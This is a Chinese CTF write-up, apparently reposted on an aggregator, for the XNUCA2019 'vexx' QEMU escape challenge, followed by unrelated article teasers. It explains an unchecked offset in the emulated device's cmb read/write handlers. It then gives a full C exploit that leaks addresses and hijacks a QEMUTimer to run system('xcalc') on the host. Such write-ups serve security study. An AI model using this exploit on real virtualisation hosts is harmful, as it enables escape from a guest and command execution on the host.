[qemu逃逸] XNUCA2019-vexx

news2024/11/17 5:22:44

前言

这题没有去符合, 题目本身不算难.

用户名: root

密码: goodluck

设备逆向

题目没有去符合, 所以其实没啥好讲了, 就列一些笔者认为关键的地方

这里的定义了两块 mmio 内存区. 然后看下设备实例结构体:

可以看到 QEMUTimer, 所以多半就是劫持 dma_timer 了.

漏洞点在 cmb_read/cmb_write 中: 这里仅仅分析 vexx_cmb_write

在实例结构体中 req_buf 的大小为 0x100, 而 addr = offset + addr, 这里只检查了之前的 addr <= 0x100, 但是没有检查 offset+addr 是否越界, 而在 vexx_ioport_write 中是可以控制 offset 的, 从而导致越界写.

 同理 vexx_cmb_read 存在越界读

漏洞利用

其实就很简单了直接劫持 QEMUTimer 就行了

exp 如下: 注: 经过测试 pmio 一次只能写一个字节

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <fcntl.h>
#include <sys/io.h>
#include <sys/mman.h>

uint64_t mmio_addr = 0x00000000febd6000;
uint64_t mmio_size = 0x1000;
uint64_t cmb_addr  = 0x00000000febd0000;
uint64_t cmb_size  = 0x4000;

void * mmio_base;
void * cmb_base;
uint64_t pmio_base = 0x230;

void mmio_init()
{
        int fd = open("/dev/mem", 2);
        mmio_base = mmap(0, mmio_size, PROT_READ|PROT_WRITE, MAP_SHARED, fd, mmio_addr);
        if (mmio_base < 0) puts("[X} mmio_init at mmio"), exit(EXIT_FAILURE);
        if (mlock(mmio_base, mmio_size) < 0) puts("[X] mlock at mmio"), exit(EXIT_FAILURE);
        cmb_base  = mmap(0, cmb_size , PROT_READ|PROT_WRITE, MAP_SHARED, fd, cmb_addr );
        if (cmb_base < 0)  puts("[X] mmio_init at cmb"), exit(EXIT_FAILURE);
        if (mlock(cmb_base, cmb_size) < 0) puts("[X] mlock at cmb"), exit(EXIT_FAILURE);
        printf("[+] mmio_base: %#p\n", mmio_base);
        printf("[+] cmb_base: %#p\n", cmb_base);
}

uint32_t mmio_read(uint64_t offset)
{
        return *(uint32_t*)(mmio_base + offset);
}

void mmio_write(uint64_t offset, uint64_t val)
{
        *(uint64_t*)(mmio_base + offset) = val;
}

uint32_t cmb_read(uint64_t offset)
{
        return *(uint32_t*)(cmb_base + offset);
}

void cmb_write(uint64_t offset, uint32_t val)
{
        *(uint32_t*)(cmb_base + offset) = val;
}

void pmio_init()
{
        if (iopl(3) < 0) puts("[X] pmio_init"), exit(EXIT_FAILURE);
}

uint32_t pmio_read(uint32_t addr)
{
        return inl(pmio_base + (addr - 0x230));
}

void pmio_writel(uint32_t addr, uint32_t val)
{
        outl(val, pmio_base + (addr - 0x230));
}

void pmio_writew(uint32_t addr, uint32_t val)
{
        outw(val, pmio_base + (addr - 0x230));
}

void pmio_writeb(uint32_t addr, uint32_t val)
{
        outb(val, pmio_base + (addr - 0x230));
}

int main(int argc, char** argv, char** envp)
{
        mmio_init();
        pmio_init();
        /*
        puts("[+] outl");
        pmio_writel(0x240, 0x38);
        puts("[+] outw");
        pmio_writew(0x240, 0x38);
        */
        puts("[+] outb");
        pmio_writeb(0x240, 0x38);
        pmio_writeb(0x230, 1);
        uint64_t cb_addr = cmb_read(0x100);
        printf("[+] cb_addr: %#llx\n", cb_addr);
        pmio_writeb(0x240, 0x3c);
        pmio_writeb(0x230, 1);
        cb_addr = cb_addr | ((1ULL * cmb_read(0x100)) << 32);
        uint64_t system_plt = cb_addr - 0x00000000004DCF10 + 0x00000000002AB860;
        printf("[+] cb_addr: %#llx\n", cb_addr);
        printf("[+] system@plt: %#llx\n", system_plt);

        pmio_writeb(0x240, 0x40);
        pmio_writeb(0x230, 1);
        uint64_t arg_addr = cmb_read(0x100);
        printf("[+] arg_addr: %#llx\n", arg_addr);
        pmio_writeb(0x240, 0x44);
        pmio_writeb(0x230, 1);
        arg_addr = arg_addr | ((1ULL * cmb_read(0x100)) << 32);
        uint64_t cmd_addr = arg_addr + 0xb90;
        printf("[+] arg_addr: %#llx\n", arg_addr);
        printf("[+] cmd_addr: %#llx\n", cmd_addr);

        pmio_writeb(0x240, 0x38);
        pmio_writeb(0x230, 1);
        cmb_write(0x100, system_plt&0xffffffff);
        pmio_writeb(0x240, 0x3c);
        pmio_writeb(0x230, 1);
        cmb_write(0x100, (system_plt>>32)&0xffffffff);

        pmio_writeb(0x240, 0x40);
        pmio_writeb(0x230, 1);
        cmb_write(0x100, cmd_addr&0xffffffff);
        pmio_writeb(0x240, 0x44);
        pmio_writeb(0x230, 1);
        cmb_write(0x100, (cmd_addr>>32)&0xffffffff);

        char cmd[8] = "xcalc";
        pmio_writeb(0x240, 0);
        pmio_writeb(0x230, 1);
        cmb_write(0, *(uint32_t*)&cmd[0]);
        pmio_writeb(0x240, 4);
        pmio_writeb(0x230, 1);
        cmb_write(0, *(uint32_t*)&cmd[4]);

        mmio_write(0x98, 1);

//      puts("[-] DEBUG");
//      pmio_writeb(0x240, 0x38);


        return 0;
}
x

 效果如下:

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1226858.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

使用Qt实现多人聊天工作室

目录 1、项目背景 2、技术分析 3、架构设计 3、1 服务器架构 3.1.1 模块划分 3.1.2 模块之间的交互 3、2 客户端架构 3.2.1 模块划分 3.2.2 模块之间交互 4、实现过程 4、1 功能实现 4.1.1 用户登录注册功能​编辑 4.1.2 用户主界面功能 4、2 设计实现 4.2.1 登录…

代码随想录算法训练营|五十六天

回文子串 647. 回文子串 - 力扣&#xff08;LeetCode&#xff09; dp含义&#xff1a;表示区间内[i,j]是否有回文子串&#xff0c;有true&#xff0c;没有false。 递推公式&#xff1a;当s[i]和s[j]不相等&#xff0c;false&#xff1b;相等时&#xff0c;情况一&#xff0c;…

Springboot框架中使用 Redis + Lua 脚本进行限流功能

Springboot框架中使用 Redis Lua 脚本进行限流功能 限流是一种用于控制系统资源利用率或确保服务质量的策略。在Web应用中&#xff0c;限流通常用于控制接口请求的频率&#xff0c;防止过多的请求导致系统负载过大或者防止恶意攻击。 什么是限流&#xff1f; 限流是一种通过…

Go——一、Go语言安装及介绍

Go 一、Windows下安装Go1、下载Go2、配置环境变量3、下载Jetbrain下的GoLang4、编写hello world5、编译和执行 二、Go语言介绍1、开发文档2、Go语言核心开发团队3、为什么要创建Go4、Go语言发展史5、Go语言特点6、Golang执行过程6.1 执行过程分析6.2 编译是什么 7、开发注意事项…

腾讯微服务平台TSF学习笔记(一)--如何使用TSF的Sidecar过滤器实现mesh应用的故障注入

Mesh应用的故障注入 故障注入前世今生Envoy设置故障注入-延迟类型设置故障注入-延迟类型并带有自定义状态码总结 故障注入前世今生 故障注入是一种系统测试方法&#xff0c;通过引入故障来找到系统的bug&#xff0c;验证系统的稳健性。istio支持延迟故障注入和异常故障注入。 …

中国制库:创新引领,效率突破,塑造行业新标准

制库是一家专注于企业知识应用的在线SAAS平台,主要构成部分包括制度、表单、流程、制问和集合。作为集合了各种管理制度的平台,制库不仅提供了丰富的制度资源,还通过SAAS版实现了知识集成、修订和应用的全流程。目标是打造中国全面的企业制度库,帮助企业快速建立核心管理系统,并…

Jenkins测完通知到人很麻烦?一个设置配置钉钉消息提醒!

Jenkins 作为最流行的开源持续集成平台&#xff0c;其强大的拓展功能一直备受测试人员及开发人员的青睐。大家都知道我们可以在 Jenkins 中安装 Email 插件支持构建之后通过邮件将结果及时通知到相关人员。但其实 Jenkins 还可以支持钉钉消息通知&#xff0c;其主要通过 DingTa…

Spark 平障录

Profile Profile 是最重要的第一环。 利用好 spark UI 和 yarn container log分析业务代码&#xff0c;对其计算代价进行预判建设基准&#xff0c;进行对比&#xff0c;比如application id 进行对比&#xff0c;精确到 job DAG 环节 充分利用 UI Stage 页面 页头 summary&…

ON1 Photo RAW MAX 2024 v18.0.4.14758

ON1 Photo RAW MAX 2024 for mac是一款专业的raw照片编辑软件&#xff0c;提供了各种各样的编辑工具&#xff0c;包括调整曝光、对比度、色彩、锐化、裁剪、旋转和去除红眼等功能&#xff0c;用户可以根据具体需求对照片进行精确的调整。ON1 Photo RAW MAX 2024还提供了智能修复…

Windows 的 WSL 中运行 EasyConnect

Windows 的 WSL 中运行 EasyConnect docker-easyconnect 安装 Docker Desktop 通过 Docker 的官网 Docker Desktop 下载并安装. 安装过程一直下一步即可, 默认推荐 WSL 模式 初始化过程需要梯子 安装完后在搜索框搜索 docker-easyconnect hagb/docker-easyconnect 就是需要…

nacos网关

目录 拉取docker镜像 环境配置 网关搭建架构 wemedia-gateway网关配置 依赖 启动类配置 网关yml配置 nacos配置中心配置网关 wdmedia服务配置 依赖 启动类配置 yml配置 nacos配置 nacos中的配置共享 nacos配置 wmedia模块中yml的配置 参考:https://blog.csdn.net/…

【【SOC设计之 数据回路从 DMA到 FIFO再到BRAM 再到FIFO 再写回DMA】】

SOC设计之 数据回路从 DMA到 FIFO再到BRAM 再到FIFO 再写回DMA 基本没问题的回路设计 从 DMA出发将数据传递到 FIFO 再 写到 自定义的 RTL文件中 再写到 BRAM 再到 自定义的RTL文件 再到 FIFO 再写回DMA block design 的 设计连接 可以参考我上一个文件的设计 下面介绍两个c…

线性变换概论

线性变换 定义 设 V V V 和 W W W 都是在域 K K K上定义的向量空间&#xff0c; T : V → W T :V \rightarrow W T:V→W 对任二向量 x , y ∈ V x,y \in V x,y∈V,与任何标量 a ∈ K a \in K a∈K&#xff0c;满足&#xff1a; T ( x y ) T ( x ) T ( y ) T(xy)T(x)T(…

Zookeeper实战案例(1)

前置知识&#xff1a; Zookeeper学习笔记&#xff08;1&#xff09;—— 基础知识-CSDN博客 Zookeeper学习笔记&#xff08;2&#xff09;—— Zookeeper API简单操作-CSDN博客 Zookeeper 服务器动态上下线监听案例 需求分析 某分布式系统中&#xff0c;主节点可以有多台&am…

2023最新最全【内网渗透工具】零基础安装教程

1.1 简介 nps是一款轻量级、高性能、功能强大的内网穿透代理服务器。目前支持tcp、udp流量转发&#xff0c;可支持任何tcp、udp上层协议&#xff08;访问内网网站、本地支付接口调试、ssh访问、远程桌面&#xff0c;内网dns解析等等……&#xff09;&#xff0c;此外还支持内网…

《洛谷深入浅出基础篇》 P5250 木材仓库————集合应用实例

上链接&#xff1a; P5250 【深基17.例5】木材仓库 - 洛谷 | 计算机科学教育新生态 (luogu.com.cn)https://www.luogu.com.cn/problem/P5250上题干&#xff1a; 题目描述 博艾市有一个木材仓库&#xff0c;里面可以存储各种长度的木材&#xff0c;但是保证没有两个木材的长度是…

Spring Boot中使用Redis进行大数据缓存

Spring Boot中使用Redis进行大数据缓存 在Spring Boot中使用Redis进行大数据缓存是一种常见的做法&#xff0c;因为Redis是一种高性能的内存数据库&#xff0c;适用于缓存大量数据。以下是说明和示例代码&#xff0c;演示如何在Spring Boot项目中使用Redis进行大数据缓存。 步…

【C++初阶】STL详解(四)vector的模拟实现

本专栏内容为&#xff1a;C学习专栏&#xff0c;分为初阶和进阶两部分。 通过本专栏的深入学习&#xff0c;你可以了解并掌握C。 &#x1f493;博主csdn个人主页&#xff1a;小小unicorn ⏩专栏分类&#xff1a;C &#x1f69a;代码仓库&#xff1a;小小unicorn的代码仓库&…

【Kingbase FlySync】命令模式:部署双轨并行,并实现切换同步

【Kingbase FlySync】命令模式:安装部署同步软件&#xff0c;实现Oracle到KES实现同步 双轨并行方案说明一.准备工作二.环境说明三.目标实操(1).准备安装环境Orcle服务器(Oracle40)1.上传所有工具包2.操作系统配置a.增加flysync 用户、设置密码b.配置环境变量c.调整limits.conf…